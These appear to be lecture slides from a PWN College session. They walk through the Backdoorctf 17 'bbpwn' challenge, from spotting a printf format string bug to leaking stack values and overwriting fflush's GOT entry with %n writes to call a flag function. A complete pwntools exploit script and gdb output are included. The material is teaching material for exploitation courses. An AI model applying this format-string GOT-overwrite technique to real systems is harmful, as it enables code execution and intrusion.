PWN College

Session 17

Atousa Ahsani

References: https://pwn.college/, https://guyinatuxedo.github.io/

Format Strings

Backdoorctf 17 bbpwn

Backdoorctf 17 bbpwn

- It is a **32-bit dynamically** linked binary, with a **Non-Executable** stack, no PIE or RELRO.

```
➜  backdoor17_bbpwn file 32_new
32_new: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked,
interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=da5e14c66857965290
6e8dd34223b8b5aa3becf8, not stripped
➜  backdoor17_bbpwn checksec 32_new
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

- When we run it it prompts us for input then prints it.

```
➜  backdoor17_bbpwn ./32_new
Hello baby pwner, whats your name?
zorro
Ok cool, soon we will know whether you pwned it or not. Till then Bye zorro
```

Backdoorctf 17 bbpwn

- When we take a look at the ***main*** function in **Ghidra**, we see this code.
- So we can see that it scans in our **input** using ***fgets***, **copies** it and a message over to the ***local_140*** variable via ***sprintf***. Then it **prints** the message using ***printf***.
- The thing is, the way it's printing it is a bug. It's printing it **without specifying** what **format string** to use for it (like ***%s***, ***%x***, or ***%p***). As a result, we can specify our **own format** which we will have it printed as.

```
void main(undefined4 param_1,undefined4 param_2)

{
  int in_GS_OFFSET;
  char local_208 [200];
  char local_140 [300];
  undefined4 local_14;
  undefined *puStack12;

  puStack12 = &param_1;
  local_14 = *(undefined4 *)(in_GS_OFFSET + 0x14);
  puts("Hello baby pwner, whats your name?");
  fflush(stdout);
  fgets(local_208,200,stdin);
  fflush(stdin);
  sprintf(local_140,"Ok cool, soon we will know whether you pwned it
              or not. Till then Bye %s", local_208);
  fflush(stdout);
  printf(local_140);
  fflush(stdout);
                    /* WARNING: Subroutine does not return */
  exit(1);
}
```

Backdoorctf 17 bbpwn

- For example:

```
→  backdoor17_bbpwn ./32_new
Hello baby pwner, whats your name?
%x.%x.%x.%x
Ok cool, soon we will know whether you pwned it or not. Till then Bye
 8048914.ffde7748.f7f84d50.f7f84400
```

- We can see there that we have printed off values as **four byte hex values**.
- The thing that makes this really fun, is ***printf*** has a ***%n*** flag. This will write an **integer** to **memory** equal to the **amount of bytes printed**. With this due to the binary's setup we can get **code execution**.
- Since **PIE** isn't enabled we know the **address** of everything from the **binary** including the **GOT table**, which holds the addresses of **libc function** which are executed.
- Since **RELRO** is not enabled, we can **write** to this table. So we can use this bug to write to the **GOT** table so when it tries to call a function from **libc**, it will call **something else**. Looking at the code we see that ***fflush*** would be a good candidate since it is **after** the ***printf*** call.

Backdoorctf 17 bbpwn

- Now let's figure out how to exploit this bug. First we need to see **where** our **input** ends up on the **stack** in reference to the **format string** bug.
- In order to do this, we will just give some **input** and see where it is with **%x flags**.

```
➜  backdoor17_bbpwn ./32_new
Hello baby pwner, whats your name?
000011112222.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
Ok cool, soon we will know whether you pwned it or not. Till then Bye 000011112222.
8048914.ffce7338.f7f47d50.f7f47400.f7f59e56.1.ffce75e4.f7b60b5c.39e.30303030.313131
31.32323232.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825
```

- So we can see that the offsets for our **three four byte** values are **10**, **11**, and **12**.

```
➜  backdoor17_bbpwn ./32_new
Hello baby pwner, whats your name?
000011112222.%10$x.%11$x.%12$x
Ok cool, soon we will know whether you pwned it or not. Till then Bye 000011112222.
30303030.31313131.32323232
```

Backdoorctf 17 bbpwn

- Now the reason why these are **four bytes** is they will store an **address** that we are writing to, and since this is **x86** addresses are **four bytes**.
- We know that we can write a **number** equal to the **amount** of **bytes** *printf* has printed to a memory location. Writing an entire address like ***0x0804870b*** will cause us to print a **huge** amount of **bytes**, and really isn't realistic over a **remote** connection. So we can split it up into **three smaller writes**.
- Now the question is **what address** will we overwrite the **GOT entry** of ***fflush*** with. Looking through the list of functions, we see ***flag*** at ***0x0804870b*** looks like a good candidate (no arguments needed):

```
void flag(void)

{
  system("cat flag.txt");
  return;
}
```

Backdoorctf 17 bbpwn

- If we call this function it will just print the **flag**. There is one more piece of this puzzle we need to figure out before we can write the exploit.
- With our write, we write the **amount** of **bytes** specified. We can **increase** the **amount** of **bytes** we print by **10** by including ***%10x*** in our **format string**.
- For our **first** write, we will worry about writing the **first byte** of the address to ***flag*** to the ***got*** entry for ***fflush*** which we can find using **objdump**:

```
➜  backdoor17_bbpwn objdump -R 32_new | grep fflush
0804a028 R_386_JUMP_SLOT   fflush@GLIBC_2.0
```

- We can see this address in **Ghidra** too.

```
                    PTR_fflush_0804a028
0804a028 28 b0 04      addr       fflush
         08
```

Backdoorctf 17 bbpwn

- With the **second** write, we will write the **second** byte and with the third, we will write the **third** one.
- The **fourth** write will write the **highest byte** of the address. However we will get around the fact that **subsequent writes** can only be **greater** than or **equal** to the **previous** write by **overflowing** the next spot in **memory** with it.
- To make more sense, let's look at the **memory layout** of the got entry while we carry out this attack. For that here's a small sample script which will carry out the attack and drop us in ***gdb*** to see.

Backdoorctf 17 bbpwn

- Test Files:

```
from pwn import *
target = process('./32_new')
gdb.attach(target, gdbscript='b *0x080487dc')
print target.recvline()
fflush_adr0 = p32(0x804a028)
fflush_adr1 = p32(0x804a029)
fflush_adr2 = p32(0x804a02a)
fflush_adr3 = p32(0x804a02b)

fmt_string0 = "%10$n"
fmt_string1 = "%11$n"
fmt_string2 = "%12$n"
fmt_string3 = "%13$n"

payload = fflush_adr0 + fflush_adr1 + fflush_adr2 + fflush_adr3 +
          fmt_string0 +
          fmt_string1 +
          fmt_string2 +
          fmt_string3

target.sendline(payload)
target.interactive()
```

```
Breakpoint 1, 0x080487dc in main ()
gdb-peda$ x/2w 0x804a028
0x804a028 <fflush@got.plt>:   0x56565656   0xf7000000
```

- So we can see that the value the *printf* write by default is **0x56**. We need the **first** byte to be **0x0b** to match the ***flag*** function's address ***0x0804870b***.
- We will just add **181 bytes** to change the value to ***0x10b*** so the byte there will be ***0x0b***. The ***0x01*** will **overflow** into the **second** byte, however that will be overwritten with the second write so we don't need to worry about it yet.

- The break point is right after the vulnerable ***printf***.

Backdoorctf 17 bbpwn

- Here is the new payload:

```
payload = fflush_adr0 + fflush_adr1 + fflush_adr2 + fflush_adr3 +
          "%181x" + fmt_string0 +
          fmt_string1 +
          fmt_string2 +
          fmt_string3
```

```
gdb-peda$ x/2w 0x804a028
0x804a028 <fflush@got.plt>:     0x0b0b0b0b      0xf7000001
```

$$0x87 - 0x0b = 124$$

- We need to add 124 chars to the payload.

```
payload = fflush_adr0 + fflush_adr1 + fflush_adr2 + fflush_adr3 +
          "%181x" + fmt_string0 +
          "%124x" + fmt_string1 +
          fmt_string2 +
          fmt_string3
```

```
gdb-peda$ x/2w 0x804a028
0x804a028 <fflush@got.plt>:     0x8787870b      0xf7000001
```

$$0x104 - 0x87 = 125$$

Backdoorctf 17 bbpwn

- We need to add 125 chars to the payload.

```
payload = fflush_adr0 + fflush_adr1 + fflush_adr2 + fflush_adr3 +
          "%181x" + fmt_string0 +
          "%124x" + fmt_string1 +
          "%125x" + fmt_string2 +
          fmt_string3
```

```
gdb-peda$ x/2w 0x804a028
0x804a028 <fflush@got.plt>:     0x0404870b      0xf7000002
```

$$0x08 - 0x04 = 4$$

- So we just need to add 4 chars to the payload. Here is the final payload:

```
payload = fflush_adr0 + fflush_adr1 + fflush_adr2 + fflush_adr3 +
          "%181x" + fmt_string0 +
          "%124x" + fmt_string1 +
          "%125x" + fmt_string2 +
          "1111" + fmt_string3
```

```
gdb-peda$ x/2w 0x804a028
0x804a028 <fflush@got.plt>:     0x0804870b      0xf7000002
```

Backdoorctf 17 bbpwn

- Now we are able to write the address of ***flag*** function. Here is the final exploit:

```
from pwn import *
target = process('./32_new')
#gdb.attach(target, gdbscript='b *0x080487dc')
print target.recvline()
fflush_adr0 = p32(0x804a028)
fflush_adr1 = p32(0x804a029)
fflush_adr2 = p32(0x804a02a)
fflush_adr3 = p32(0x804a02b)
fmt_string0 = "%10$n"
fmt_string1 = "%11$n"
fmt_string2 = "%12$n"
fmt_string3 = "%13$n"

payload = fflush_adr0 + fflush_adr1 + fflush_adr2 + fflush_adr3 +
          "%181x" + fmt_string0 +
          "%124x" + fmt_string1 +
          "%125x" + fmt_string2 +
          "1111" + fmt_string3

target.sendline(payload)
target.interactive()
```

- Now you can get the flag.